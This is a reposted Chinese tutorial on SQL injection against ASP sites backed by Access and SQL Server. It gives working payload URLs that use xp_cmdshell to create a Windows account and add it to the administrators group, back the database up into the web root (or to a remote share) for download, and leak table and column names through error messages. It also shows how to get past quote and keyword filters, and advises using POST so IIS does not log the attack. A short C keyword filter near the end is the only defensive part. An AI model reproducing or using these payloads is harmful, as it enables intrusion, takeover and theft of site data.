SQL注入详细探讨

这几日整理一些以前看过的网路文章，替一些比较冷门的站点做备份，也许以后会再阅读到

ＳＱＬ注入原理

1、 判断环境，寻找注入点，判断数据库类型。

不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。

2、 注入参数类型，重构SQL语句。

比如ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：

Select * from 表名 where 字段=49

注入的参数为ID=49 And [查询条件]，即是生成语句：

Select * from 表名 where 字段=49 And [查询条件]

3、将查询条件替换成SQL语句，猜解表名。

ID=49 And (Select Count(*) from Admin)>=0

如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。

表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。

有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。

对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的。

4、在表名和列名猜解成功后，再使用SQL语句，得出字段的值

比较常见的SQL注入案例：

1、利用系统表注入SQLServer数据库

SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板。

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。

③ http://Site/url.asp?id=1 ;;and db_name()>0

前面有个类似的例子and user>0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。

④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96.xx.xx\Share\1.db），但成功率不高。

⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。

⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

2、绕过程序限制继续注入

在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。

在“ＳＱＬ注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：

简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。

SQL注入经验总结：

1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。

2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。

3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。

4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。

5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。

为各种SQL注入方法建立SQL虚拟机检测方法：

鉴于IIS服务器只保存Get方法提交的URL，不保存Post方法提交的URL，所以为了分析注入问题，或者将根据检测规则将URL保存在数据库中，方便未来分析用户注入问题。

„

strcpy(c_URL , pMapInfo->pszURL); //得到URL并存入字符串c_URL

//得到请求参数并存入字符串c_QueryString

pCtxt->GetServerVariable("QUERY_STRING" , c_QueryString , &len);

strcat(c_URL , c_QueryString); //得到带参数的URL字符串

strlwr(c_URL); //转换为小写

if(strstr(c_URL,"'")||strstr(c_URL,";")||strstr(c_URL,"select")||strstr(c_URL,"where")||

strstr(c_URL,"count")||strstr(c_URL,"update")||strstr(c_URL,"insert")||

strstr(c_URL,"delete")||strstr(c_URL,"and")||strstr(c_URL,"exec"))

{

memset(c_response,0,sizeof(c_response));

sprintf(c_response,"<p align=center><font color=red>注意:你提交的URL中含有非法参数!</font>");

DWORD responselen = strlen(c_response);

pCtxt->WriteClient(c_response,&responselen);

LogSQLAttack (pCtxt , pMapInfo);

return SF_STATUS_REQ_FINISHED; // 中断用户对页面的访问

}

其实，这个判断SQL注入方法不是很好 漏洞也是比较多的。若有更好的方法，希望能共享。

原文地址：http://www.chinadmd.com/file/wx6xuz63pe6ow3ucazvvsapv_1.html